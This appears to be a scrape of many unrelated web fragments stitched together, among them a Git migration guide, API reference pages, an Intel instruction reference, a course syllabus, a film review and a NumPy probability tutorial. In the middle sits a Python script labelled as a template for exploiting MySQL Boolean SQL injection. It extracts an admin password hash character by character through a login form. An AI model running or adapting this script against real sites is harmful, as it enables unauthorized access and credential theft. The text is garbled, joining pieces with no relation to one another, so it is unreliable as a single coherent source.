If you follow the advice on the Hg-Git site, you’ll try to issue a special ”hg push
” command using a git-specific destination URL. This can push the history of commits only partially. The GitHub repository will unforunately fail to show who performed each commit. Yikes. When I got this far, I had to delete the GitHub repo and start over.
The problem is Mercurial uses one string to represent committer identity while Git uses two (name and email). Additionally, GitHub pays special attention to the email part, allowing the site to recognize existing GitHub users and linking to their user page. Since Hg-Git wasn’t populating email addresses, GitHub had little to go on.
Successfuly Migrating from Bitbucket to GitHub
Instead of using Hg-Git to perform the whole push, we’ll follow some excellent Hg-Git advice that lets us step in to fix committer identities along the way.
That site has a shell script (which can be executed on Windows using the Git Bash command prompt). The script will use Hg-Git for only one small part of the process: converting a local Mercurial repository folder into an equivalent local git repository. The only thing wrong with that git repository will be the user names and email addresses. The script then takes a chainsaw to that local git history, fixing the identity of each committer. Finally, the script uses regular git commands to do the final push to GitHub.
The downside is that you have to modify this script with a separate chunk for each real-world person that appears in the Mercurial history. For instance, let’s say we have history in Bitbucket for users named hgjohn and hgjane. John Doe has a GitHub account already and prefers to be known there as “John Doe” with email address<EMAIL_ADDRESS>Jane Doe doesn’t have a GitHub account yet, but later on if she does she’ll want to be known as “Jane Doe” and<EMAIL_ADDRESS>With these transformations ready, we modify the script to the following:
After saving this as “migrate_hg_to_git.sh” in our development folder, we execute the following command (all on one line). This creates a local folder named ‘MyProject’, populates it with a Bitbucket clone, converts it to a Git repository, fixes the names, and pushes to GitHub:
$ ./migrate_hg_to_git.sh MyProject https://bitbucket.org/johnd/MyProject git@github.com:jdoe/MyProject.git
Now when you view the project on GitHub, John’s commits display his photo and link to his user page.


To become a Soul Breaker, you must be higher than level 40 and have obtained a letter of recommendation.
You do not meet either requirement.


Gecode::MiniModel::ArithNonLinExpr Class Reference
Non-linear arithmetic expressions. More...
Public Types | |
| enum | ArithNonLinExprType { ANLE_ABS, ANLE_MIN, ANLE_MAX, ANLE_MULT, ANLE_DIV, ANLE_MOD, ANLE_SQR, ANLE_SQRT, ANLE_ELMNT } |
The expression type. More... | |
Public Member Functions | |
| ArithNonLinExpr (ArithNonLinExprType t0, int n0) | |
| Constructor. | |
| ~ArithNonLinExpr (void) | |
| Destructor. | |
| virtual IntVar | post (Home home, IntVar *ret, IntConLevel icl) const |
| Post expression. | |
| virtual void | post (Home home, IntRelType irt, int c, IntConLevel icl) const |
| Post expression to be in relation irt with c. | |
| virtual void | post (Home home, IntRelType irt, int c, BoolVar b, IntConLevel icl) const |
| Post reified expression to be in relation irt with c. | |
Public Attributes | |
| enum Gecode::MiniModel::ArithNonLinExpr::ArithNonLinExprType | t |
| The expression type. | |
| LinExpr * | a |
| Expressions. | |
| int | n |
| Size of variable array. |
Detailed Description
Non-linear arithmetic expressions.
Definition at line 44 of file arithmetic.cpp.
Member Enumeration Documentation
The expression type.
- Enumerator:
Definition at line 47 of file arithmetic.cpp.
Constructor & Destructor Documentation
| Gecode::MiniModel::ArithNonLinExpr::ArithNonLinExpr | ( | ArithNonLinExprType | t0, | |
| int | n0 | |||
| ) | [inline] |
Constructor.
Definition at line 63 of file arithmetic.cpp.
| Gecode::MiniModel::ArithNonLinExpr::~ArithNonLinExpr | ( | void | ) | [inline] |
Destructor.
Definition at line 66 of file arithmetic.cpp.
Member Function Documentation
| virtual IntVar Gecode::MiniModel::ArithNonLinExpr::post | ( | Home | home, | |
| IntVar * | ret, | |||
| IntConLevel | icl | |||
| ) | const [inline, virtual] |
| virtual void Gecode::MiniModel::ArithNonLinExpr::post | ( | Home | home, | |
| IntRelType | irt, | |||
| int | c, | |||
| IntConLevel | icl | |||
| ) | const [inline, virtual] |
Post expression to be in relation irt with c.
Implements Gecode::NonLinExpr.
Definition at line 224 of file arithmetic.cpp.
| virtual void Gecode::MiniModel::ArithNonLinExpr::post | ( | Home | home, | |
| IntRelType | irt, | |||
| int | c, | |||
| BoolVar | b, | |||
| IntConLevel | icl | |||
| ) | const [inline, virtual] |
Post reified expression to be in relation irt with c.
Implements Gecode::NonLinExpr.
Definition at line 236 of file arithmetic.cpp.
Member Data Documentation
The expression type.
Expressions.
Definition at line 59 of file arithmetic.cpp.
Size of variable array.
Definition at line 61 of file arithmetic.cpp.
The documentation for this class was generated from the following file:
- gecode/minimodel/arithmetic.cpp (Revision: 11206)


TradingDay objects represent the trading events of a single day. They have the following properties:
TradingDay


Dear Dry,
This is your last chance to see your name in the next issue of Ms. magazine!
Right now, we’re asking our readers raise their hands and pledge to end the War on Women


Creating A Prototype
The standard way to create a new prototype in JavaScript is by using the object constructor function as displayed below:
| Input | Output |
|---|---|
function student(first, last, school, age){ this.firstName = first; this.lastName = last; this.school = school; this.age = age; } var student1 = new student("Jane", "Doe", "DBC", 24) |
>> console.log(student1) => { firstName: 'Jane', lastName: 'Doe', school: 'DBC', age: 24 } |


| Opcode Instruction Op/ 64-Bit Compat/ Description En Mode Leg Mode 0F 01 C8 MONITOR ZO Valid Valid Sets up a linear address range to be monitored by hardware and activates the monitor. The address range should be a write-back memory caching type. The address is DS:RAX/EAX/AX. |
| Op/En Operand 1 Operand 2 Operand 3 Operand 4 ZO NA NA NA NA |
The MONITOR instruction arms address monitoring hardware using an address specified in EAX (the address range that the monitoring hardware checks for store operations can be determined by using CPUID). A store to an address within the specified address range triggers the monitoring hardware. The state of monitor hardware is used by MWAIT.
The address is specified in RAX/EAX/AX and the size is based on the effective address size of the encoded instruction. By default, the DS segment is used to create a linear address that is monitored. Segment overrides can be used.
ECX and EDX are also used. They communicate other information to MONITOR. ECX specifies optional extensions. EDX specifies optional hints; it does not change the architectural behavior of the instruction. For the Pentium 4 processor (family 15, model 3), no extensions or hints are defined. Undefined hints in EDX are ignored by the processor; undefined extensions in ECX raises a general protection fault.
The address range must use memory of the write-back type. Only write-back memory will correctly trigger the monitoring hardware. Additional information on determining what address range to use in order to prevent false wake-ups is described in Chapter 8, “Multiple-Processor Management” of the Intel® 64 and IA-32 Architectures Software Developer’s Manual, Volume 3A.
The MONITOR instruction is ordered as a load operation with respect to other memory transactions. The instruction is subject to the permission checking and faults associated with a byte load. Like a load, MONITOR sets the A-bit but not the D-bit in page tables.
CPUID.01H:ECX.MONITOR[bit 3] indicates the availability of MONITOR and MWAIT in the processor. When set, MONITOR may be executed only at privilege level 0 (use at any other privilege level results in an invalid-opcode exception). The operating system or system BIOS may disable this instruction by using the IA32_MISC_ENABLE MSR; disabling MONITOR clears the CPUID feature flag and causes execution to generate an invalid-opcode exception.
The instruction’s operation is the same in non-64-bit modes and 64-bit mode.
MONITOR sets up an address range for the monitor hardware using the content of EAX (RAX in 64-bit mode) as an effective address and puts the monitor hardware in armed state. Always use memory of the write-back caching type. A store to the specified address range will trigger the monitor hardware. The content of ECX and EDX are used to communicate other information to the monitor hardware.
MONITOR: void _mm_monitor(void const *p, unsigned extensions,unsigned hints)
None
| #GP(0) | If the value in EAX is outside the CS, DS, ES, FS, or GS segment limit. |
| If the DS, ES, FS, or GS register is used to access memory and it contains a NULL segment selector. | |
| If ECX ≠ 0. | |
| #SS(0) | If the value in EAX is outside the SS segment limit. |
| #PF(fault-code) | For a page fault. |
| #UD | If CPUID.01H:ECX.MONITOR[bit 3] = 0. |
| If current privilege level is not 0. |
| #GP | If the CS, DS, ES, FS, or GS register is used to access memory and the value in EAX is outside of the effective address space from 0 to FFFFH. |
| If ECX ≠ 0. | |
| #SS | If the SS register is used to access memory and the value in EAX is outside of the effective address space from 0 to FFFFH. |
| #UD | If CPUID.01H:ECX.MONITOR[bit 3] = 0. |
| #UD | The MONITOR instruction is not recognized in virtual-8086 mode (even if CPUID.01H:ECX.MONITOR[bit 3] = 1). |
Same exceptions as in protected mode.
| #GP(0) | If the linear address of the operand in the CS, DS, ES, FS, or GS segment is in a non-canonical form. |
| If RCX ≠ 0. | |
| #SS(0) | If the SS register is used to access memory and the value in EAX is in a non-canonical form. |
| #PF(fault-code) | For a page fault. |
| #UD | If the current privilege level is not 0. |
| If CPUID.01H:ECX.MONITOR[bit 3] = 0. |


Select Country...
Driving in India is amazing!
Lower Cost Goods!
Great People!
Diverse Climates!
Select a country to be inspired by their greatness!
{{country.name}}


#/usr/bin/env python3
#
# You can use this shell template to exploit MySQL Boolean
# injection on a vulnerable field.
#
# can optimize with ORD(). If ord < 58, it's a number, if ord > 58, it's a character
#
import requests
chars = "0123456789abcdef" #character space for md5 hash
def GetSQL(i,c):
return "Admin' and substr(password,%s, 1) = '%s'-- -" % (i,c) #password is column name
for i in range(1,33): #range for md5hash (32 characters)
for c in chars:
injection = GetSQL(i,c)
payload = {'username':injection,'password':'PleaseSubscribe'} ##Data submission
r = requests.post('http://website/login.php', data = payload) ##submit SQL payload
if "Wrong identification" in r.text: ##invalid as detected by website
print(c,end="",flush=True)
break
print()


Sensor Data
Automatically Recorded with Digital Sensor
| ID | Date and Time | Ph (pouvoir hydrogène) | Water Temperature in ℃ | Humidity | Room Temperature in ℃ | {% for row in dataut %}
|---|---|---|---|---|---|
| {{ row.id }} | {{ row.datentime }} | {{ row.ph }} | {{ row.water_temp }} | {{ row.humidity }} | {{ row.room_temp }} |
Recorded Data
Manually Recorded with Observations
| ID | Date and Time | Ph (pouvoir hydrogene) in PPM (Manual Reading) | EC (Electrical Conductivity) | TDS (Total Dissolved Solvent) | Plant Height in Cms | Temperature in ℃ | {% for row in data %}
|---|---|---|---|---|---|---|
| {{ row.id }} | {{ row.datentime }} | {{ row.ph_observation }} | {{ row.ec_observation }} | {{ row.tds_observation }} | {{ row.plants_height }} | {{ row.temperature }} |


|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object apollo.editor.ChangeList
public class ChangeList
TransactionManager does the real coalescing for saving transactions.
This is more like the place where events are stored before firing now.
Renamed ChangeList (used to be AnnotationChangeCoalescer)
The AnnotationChangeCoalescer holds all the AnnotationChangeEvents for
the current edit along with a representation of the
feature tree before the edit began.
NOTE: THIS CLASS IS NOT FULLY IMPLEMENTED.
As edits are added to the AnnotationChangeCoalescer it checks to see
if they can be coalesced - for example if you delete all the
exons in a transcript and then delete the transcript the edit
can be coalesced into a delete transcript - all the delete
exon AnnotationChangeEvents can be removed from the changes
vector.
A new AnnotationChangeCoalescer should be created at the start of each
edit in the AnnotationEditor because it is important that
the tree representing the underlying features (the origTree)
is current. After that it is simply a matter of adding changes
using addChanges. At the end of the edit executeChanges is
called to send the AnnotationChangeEvents to all the listeners.
Remember that the Drawable tree will be in tht origTree state
until executeChanges is called. This is VERY important for
deciding which edits are necessary.
delete exon
Check if its in the add list
Look to see if any of the current parents of the exon have
been deleted.
delete transcript
Check if its in the add list
Look to see if any of the current parents of the transcript
have been deleted.
Look to see if any of the previous children of the
transcript have been deleted - remove those.
delete gene
Check if its in the add list
Look to see if any of the previous children of the
gene have been deleted - remove those.
I dont think any of the add checks are currently happening, just the
delete checks.
add exon
Add to add list
Look to see if any of the current parents of the exon have
already been added.
Could do error check if add to parents which have already
been deleted.
add transcript
Add to add list
add gene
Add to add list
other exon
other transcript
other gene
The only reason i can see that this implements ControlledObjectI is so
SyntenyLinkPanel can avoid firing at its controller - but ACC is not even
the event source - so actually I dont think being a ControlledObjectI serves any
purpose as getControllerWindow is null.
Not sure about this but this could eventually just be a list of transactions(?)
and convert to change events at firing time.
| Constructor Summary | |
|---|---|
ChangeList(Controller c)
for gene edit panel |
| Method Summary | |
|---|---|
void |
addChange(AnnotationChangeEvent evt)
Add change to end of changes list |
void |
addChangeList(ChangeList changeList)
|
void |
executeChanges()
calls coalesceChanges which seems to be broken. |
Controller |
getController()
Gets the Controller for the object |
java.lang.Object |
getControllerWindow()
Shouldnt this return Window - would we ever want a non-window? |
boolean |
needsAutoRemoval()
Since getControllerWindow is null, needsAutoRemoval is meaningless |
void |
setController(Controller c)
Sets the Controller for the object |
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
|---|
public ChangeList(Controller c)
| Method Detail |
|---|
public Controller getController()
ControlledObjectI
getController
in interface ControlledObjectI
public void setController(Controller c)
ControlledObjectI
setController
in interface ControlledObjectI
public java.lang.Object getControllerWindow()
ControlledObjectI
getControllerWindow
in interface ControlledObjectI
public boolean needsAutoRemoval()
needsAutoRemoval
in interface ControlledObjectI
public void addChange(AnnotationChangeEvent evt)
public void addChangeList(ChangeList changeList)
public void executeChanges()
|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Attendance and Participation | Grammar Quizzes | Secondary Responses | Discussion Lead | Midterm and Final Paper or Exam | Final Semester Tally
Your semester grade in this course will consist of six components:
Attendance and participation in each class period is essential to build both your knowledge base and a strong classroom community. Participation in this context means coming to class having read or translated the given assignments, bringing any questions that you may have, and joining in our class discussions of grammar and social concepts.
Of course, any number of issues might prevent you from coming to class: illness, family emergencies or obligations, athletic responsibilities, the need for a mental health day, and so on. If you know that you will be absent from a given class period, please e-mail me before the class period in question to let me know. You don’t need to specify any reason to me; all I ask is for notification in advance, and then I will excuse your absence! Any absence without a notifying e-mail before class may be excused after the fact for compelling and verifiable reasons (including but not limited to medical emergencies, a sudden death in the family, etc.).
There will be ten (10) grammar quizzes administered on Thursdays throughout the semester (exact dates are in the detailed schedule). These quizzes will test your grasp of the vocabulary and the syntactic structures that we will encounter in Aeschines’ text. Some quizzes may include a sight-reading component with passages from the speech that we haven’t translated in class, with appropriate vocabulary and grammar glosses. Each quiz is worth 2.5% of your total semester grade.
Throughout the semester, there will be ten (10) secondary reading assignments outside of the primary text (Aeschines’ Against Timarchus). For each, you will be asked to write and submit a 1-2pp. response to discussion questions that I will provide on a rolling basis. Bullet points are okay if they summarize your thoughts better than a narrative format! We will use these responses as material for our class discussions. Each response is due by the beginning of the class period to which it’s assigned, and each response is worth 2.5% of your total semester grade.
Once this semester, you will lead the class’ translation of and discussion about one chapter of the Greek! You will be expected to understand the vocabulary and grammar contained in your chapter, as well as its context and importance in the speech as a whole. Part of this discussion lead assignment will be two mandatory one-on-one meetings with me in Student Hours (or a time by appointment), the first so that we can make sure that you have all the information that you need and that you’re primed for success in leading the class’ discussion, and the second so that we can debrief and identify successes and opportunities for improvement.
Twice in the semester (in the middle and at the end), you will decide whether you will write a paper or take an exam. I prefer that you make your own choices rather than I dictate one format for the entire class, as some students prefer studying for exams, while others prefer writing papers. A midterm exam will be administered in class on Th 10/15 (the last class before fall break), while a midterm paper will be due via e-mail at the end point of that class period. Similarly, a final exam will be administered during the exam period, while a final paper will be due via e-mail at the end point of that exam.
Specific guidelines for the papers will be provided as the time nears, but in general, the papers are meant to be essays that advance a specific argument supported by ample primary and secondary evidence. Exams will test grammar and comprehension of our main text and passages at sight; the midterm will cover the first half of the semester while the final will cover the second (i.e., it will not be cumulative).
The final grade will be calculated as a percentage out of 100; then, it will be converted to a letter grade according to the following scheme:
A+ = 97-100%; A = 94-96%; A- = 90-93%
B+ = 87-89%; B = 84-86%; B- = 80-83%
C+ = 77-79%; C = 74-76%; C- = 70-73%
D = 65-69%; F = 0-64%
Grades ending in .45 or greater will be rounded up to the nearest whole number; grades ending in .44 or less will be rounded down to the nearest whole number.


until sunset...
No location available
Enter a number to receive SMS alerts before dark:
'Before Dark' is a service that sends SMS reminders at intervals of your choice before sunset. Simply enter a phone number, select intervals to be notified at and hit submit. Before Dark will then send messages at intervals selected. It's that simple.
Before Dark was developed by Harjot Singh, Jake Sieradzki, Daniel Vaughan, Maya and Asha Wills for #YRS2014 Festival of Code.
With special thanks to all the team at Cyber-Duck and the Twilio team for their support.
© Copyright Before Dark, 2014


Pictures to show
pic1
pic2
pic3
addCodeByInner
addCodeByDom
An test for abbreviation
The
LOL
is an online game which is very popular in China.


<navtitle>
The navigation title (<navtitle>
) element is one of a set of alternate
titles that can be included inside the <titlealts>
element. This
navigation title may differ from the first level heading that shows in the main browser
window. Use <navtitle>
when the actual title of the topic isn't
appropriate for use in a table of contents, navigation pane, or online content (for
example, because the actual title is too long). Beginning with DITA 1.2, the
<navtitle>
element is also available in the
<topicmeta>
element in a <topicref>
in a map, and
its use is preferred over the <topicref>
element's
@navtitle
attribute.
Category: Basic topic elements


{% extends "base.html" %} {% import "bootstrap/wtf.html" as wtf %} {% block title %}traipor - FF Fitting - {{current_user.username}}{% endblock %} {% block page_content %}
First upload your GoldenCheetah metrics.
{% endif %}The fitting process will use the GC metrics you uploaded on {{ current_user.gc_metrics_file.first().upload_date }}.
You don't need to do this if you have already used this particular upload for a parameter fitting.
Later on, when you set your goal for the plan to be generated, the performance metric you choose here will be used for the goal metric as well. The generated plan will also use the load metric you choose here.


Congress, NCP have sent letters of support: Sena mouthpiece
This was revealed by the party mouthpiece "Saamana" in its online edition at 6:25 pm even as Sena leaders Eknath Shinde and Aaditya Thackeray have reached Raj Bhavan where they are expected to stake a formal claim to form a non-BJP government at 7:30 pm.
by PTIThe Shiv Sena on Monday evening claimed the Congress and the NCP have sent it crucial letters extending their support to prop up a government in Maharashtra which will be headed by the Uddhav Thackeray-led party.
This was revealed by the party mouthpiece "Saamana" in its online edition at 6:25 pm even as Sena leaders Eknath Shinde and Aaditya Thackeray have reached Raj Bhavan where they are expected to stake a formal claim to form a non-BJP government at 7:30 pm.
In the 288-member House, the Sena with 56 MLAs is the second largest bloc after the BJP (105).
The NCP and the Congress each has 54 and 44 MLAs, respectively. The halfway mark is 145.
On Sunday, the BJP declined to form a government for want of requisite numbers in the wake of the Sena refusing to join its oldest ally.Get access to India's fastest growing financial subscriptions service Moneycontrol Pro for as little as Rs 599 for first year. Use the code "GETPRO". Moneycontrol Pro offers you all the information you need for wealth creation including actionable investment ideas, independent research and insights & analysis For more information, check out the Moneycontrol website or mobile app.


final long time = System.nanoTime() - start;
final String message = String.format("Invocation %sns - %s - Request(%s) - Response(%s)", time, conn.getURI(), req, res);
logger.log(Level.FINEST, message);
EJB Request Logging
| Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at . http://www.apache.org/licenses/LICENSE-2.0 . Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. |
Both client-side and server-side request logging is supported and includes various invocation times aimed at helping to identify where time is going in a request.
Client-side
On the client requests/responses are logged on java.util.logging
FINEST
level in category OpenEJB.client
. The code is similar to the
following:
Note that the check to see if FINEST is enabled is cached for performance reasons, so it must be set at VM startup.
Server-side
On the server requests/responses are logged in java.util.logging FINE
in category`"OpenEJB.server.remote.ejb`. The code for that is similar to
this:
logger.fine("EJB REQUEST: " + req + " -- RESPONSE: " + res);
Request times
Three times are tracked per request and logged in the above statements as part of the formatting of the EJB Response. They’re best understood in reverse:
-
Container time — this is the raw time of invoking the bean including its interceptors and any transaction begin/commit time. This time is effectively "business logic".
-
Server time — this timer starts the (nano)second the request is seen by the server and the (nano)second the response is actually written. The serverTime minus the containerTime will effectively show you how long serialization and deserialization is taking pre request.
-
Client time — entire begin to end including attempting to contact the server and fully reading the response. The clientTime minus the serverTime will show network latency for the most part.
The container time and server time are written in the EJB response and visible to the client. The client will log all three times, the server will log the first two. All log statements are on a single line.
Bean-time and JMX Statistics
The above information applies purely to remote EJB calls made over a
network. Calls on @Remote
or @Local
interfaces between two
components in the same server are not logged.
However, all EJB invocations to business methods or callbacks like
@PostConstruct
are tracked for statistical analysis. By default a
floating window of 2000 samples are kept. The time tracked is purely
bean time which includes interceptors, decorators and the bean itself,
but does not include other container services like transactions or
security.
This information is available in JMX. A sample JMX ObjectName for a
CounterBean
will look like this:
openejb.management:J2EEServer=openejb,J2EEApplication=null,EJBModule=StatsModule,StatelessSessionBean=CounterBean,j2eeType=Invocations,name=CounterBean
All beans have the following MBean attributes, listed here in shorthand:
-
javax.management.MBeanAttributeInfo[description=, name=InvocationCount, type=long, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=InvocationTime, type=long, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=MonitoredMethods, type=long, read-only, descriptor=\{}]
-
javax.management.MBeanOperationInfo[description=, name=FilterAttributes, returnType=void, signature=[javax.management.MBeanParameterInfo[description="", name=excludeRegex, type=java.lang.String, descriptor=\{}], javax.management.MBeanParameterInfo[description="", name=includeRegex, type=java.lang.String, descriptor=\{}]], impact=unknown, descriptor=\{}]
Then for every method there will be these attributes and operations:
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Count, type=long, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().GeometricMean, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Kurtosis, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Max, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Mean, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Min, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Percentile01, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Percentile10, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Percentile25, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Percentile50, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Percentile75, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Percentile90, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Percentile99, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().SampleSize, type=int, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Skewness, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().StandardDeviation, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Sum, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Sumsq, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanAttributeInfo[description=, name=someMethod().Variance, type=double, read-only, descriptor=\{}]
-
javax.management.MBeanOperationInfo[description=, name=someMethod().setSampleSize, returnType=void, signature=[javax.management.MBeanParameterInfo[description=, name=p1, type=int, descriptor=\{}]], impact=unknown, descriptor=\{}]
-
javax.management.MBeanOperationInfo[description=, name=someMethod().sortedValues, returnType=[D, signature=[], impact=unknown, descriptor=\{}]
-
javax.management.MBeanOperationInfo[description=, name=someMethod().values, returnType=[D, signature=[], impact=unknown, descriptor=\{}]


Herd of Disneysauruses? Dinosaur
By Ross Anthony
Not quite the realistic Dinosaurs of "Jurassic Park," nor are they the decidedly caricatures of "Toy Story 2."
In the grand opening scene, a fought after dinosaur egg trades hands (er.. ah claws) from one reptile to the next until a pteranodon (bird-like reptile) drops it on some distant Lemur Island. (Anybody know if primates and dinosaurs shared the same geological time period?) Anyway, the dominant male lemur wants to discard this inauspicious scaley baby, but is soon endeared to it. So, too, was I. Expecting big things from these Disney people, the sweeping egg-toss sequence didn't quite grab me; and then with the advent of that inter-species adoption - I sniffed a "Tarzan" copy.
But with the pace of a shooting star, the film changes direction as the inhabitants of the lush Lemur Island are forced into a hasty exodus. I'll leave the reason for their flight a surprise, but will say this ... it's lovely. Absolutely lovely. A fantastically magical, chillingly glowing, horrifically compelling sequence.  Aladar exhibits some out-of-previously-established character, cocky behavior, especially inappropriate given present circumstances. This oversight could have been corrected with the addition of a scene or two in Aladar's growing up period.
Kron (the head honchosaurus) leads the pack with an evolutionary Darwinistic iron fist (er.. ah claw). "Then let the weaker ones die, they'll slow our predators." Apparently, Darwin had never been to Disneyland. Of course, Aladar encourages everyone to work together for the common good -- help each other out. It's kind of hokey, but aside from a few hints at "mating" that's about all the film has to offer in the meaning department.
But in the adventure and waycool-to-look-at departments - the film boulders! (er.. ah rocks!)
Dinosaur. Copyright © 2000. Rated PG. Voices of D.B.Sweeney, Alfre Woodard, Ossie Davis, Max Casella, Hayden Panettiere, Samuel E. Wright, Julianna Margulies, Owen Klatte, Joan Plowright, Della Reese. Directed by Ralph Zondag, Eric Leighton. Screenplay by John Harrison and Robert Nelson Jacobs. Based on an original screenplay by Walon Green. Produced by Pam Marsden at Disney (C)2000.
Adult Grade ................................... B+ Kid Grade ..................................... A-
-- Copyright © 2000. Ross Anthony, currently based in Los Angeles, has scripted and shot documentaries, music videos, and shorts in 35 countries across North America, Europe, Africa and Asia. For more reviews visit: http://RossAnthony.com
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


LOADING. . .
The ultimate space travel experience reimagined through our high-end space gadgets now at an affordable budget.


Email Confirmation
This is the email confirmation page!
Customize as you see fit...
Click here to confirm your email!
And here is just an image link to see if it'll show up in the email


This is the location of Squid's access.log, which contains one entry for each client request. See Section 13.2 for the details. If you want to disable the access log, set this to /dev/null.
Syntax
cache_access_log pathname
Default
cache_access_log $prefix/var/logs/access.log
Example
cache_access_log /var/log/squid-access.log
Related
emulate_httpd_log, cache_log, cache_store_log, log_ip_on_direct, logfile_rotate


Can you help fix a broken link? - please send a PR to fix it!


Recall our algorithm to find the distribution of $S_n$, the sum of $n$ i.i.d. copies of a random variable $X_1$ that has values in a finite set of non-negative integers.
In this section we will use NumPy
to carry out this algorithm.
Suppose the distribution of $X_1$ is given by $p_0 = 0.1$, $p_1 = 0.5$, $p_2 = 0.4$. Let probs_X1
be an array containing the probabilities:
probs_X1 = make_array(0.1, 0.5, 0.4)
dist_X1 = Table().values(np.arange(3)).probability(probs_X1)
Plot(dist_X1)
The pgf of $X_1$ is $$ 0.1 + 0.5s + 0.4s^2 $$
NumPy
expresses this polynomial in the standard mathematical way, leading with the term of the highest degree:
The method np.flipud
reverses the array of probabilities to be consistent with this order of coefficients. The ud
in the name is for "up down". NumPy
is thinking of the array as a column.
coeffs_X1 = np.flipud(probs_X1)
coeffs_X1
The method np.poly1d
takes the array of coefficients as its argument and constructs the polynomial, with the last coefficient as the constant term. The 1d
in the name stands for "one dimensional".
pgf_X1 = np.poly1d(coeffs_X1)
print(pgf_X1)
The call to print
displays the polynomial in retro typewriter style, using $x$ where we have been using $s$.
Now suppose $S_3$ is the sum of three i.i.d. copies of $X_1$. The pgf of $S_3$ is the cube of the pgf of $X_1$ and can be calculated just as you would hope.
pgf_S3 = pgf_X1**3
print(pgf_S3)
The coefficients are the probabilities in the distribution of $S_3$. The possible values of $S_3$ are 0 through 6 because $S_3$ is the sum of three copies of a variable that takes values 0 through 2.
You can extract an array of the coefficients by using a polynomial attribute called c
for "coefficients".
coeffs_S3 = pgf_S3.c
coeffs_S3
These are the probabilities of the values 6 down to 0. In probability theory it is more natural to think of the probabilities following the sequence 0 through 6, so use np.flipud
again:
probs_S3 = np.flipud(coeffs_S3)
probs_S3
dist_S3 = Table().values(np.arange(7)).probability(probs_S3)
Plot(dist_S3)
We can combine the steps above to create a function dist_sum
that takes as its arguments the number of terms $n$ and the probabilities in the distribution of $X_1$, and returns the distribution of the sum of $n$ i.i.d. copies of $X_1$.
def dist_sum(n, probs_0_through_N):
"""Return the distribution of S_n,
the sum of n i.i.d. copies
of a random variable with distribution probs_0_through_N
on the integers 0, 1, 2, ..., N"""
# Find the possible values of S_n
N = len(probs_0_through_N) - 1
values_Sn = np.arange(n*N + 1)
# Find the probailities of those values
coeffs_X1 = np.flipud(probs_0_through_N)
pgf_X1 = np.poly1d(coeffs_X1)
pgf_Sn = pgf_X1**n
coeffs_Sn = pgf_Sn.c
probs_Sn = np.flipud(coeffs_Sn)
t = Table().with_columns(
'Value', values_Sn,
'Probability', probs_Sn
)
return t
In Chapter 3 we found the exact distribution of the sum of five rolls of a die by listing all $6^5$ possible outcomes and computing the sum for each of them. That method gets intractable with larger numbers of rolls. Let's see if our new method can find the distribution of the sum of 10 rolls of a die.
We have to start with the distribution of a single roll, for which it is important to remember to include 0 as the probability of 0 spots. Otherwise the pgf will be wrong because NumPy
won't know that it is not supposed to include a term of degree 0.
die = np.append(0, (1/6)*np.ones(6))
die
Plot(dist_sum(1, die))
Plot(dist_sum(10, die))
The distribution of the sum of 10 rolls of a die looks beautifully normal. Do all sums have roughly normal distributions?
To explore this question, let $X_1$ have the distribution given by $p_1 = p_2 = p_9 = 1/3$.
probs_X1 = make_array(0, 1/3, 1/3, 0, 0, 0, 0, 0, 0, 1/3)
Here is the distribution of $X_1$.
Plot(dist_sum(1, probs_X1))
The probability histogram of $S_{10}$ shows that sums don't always have smooth distributions.
Plot(dist_sum(10, probs_X1))
The distribution of $S_{30}$ looks like a stegosaurus having a bad hair day.
Plot(dist_sum(30, probs_X1))
And the distribution of $S_{100}$ is ...
Plot(dist_sum(100, probs_X1))
... beautifully normal.
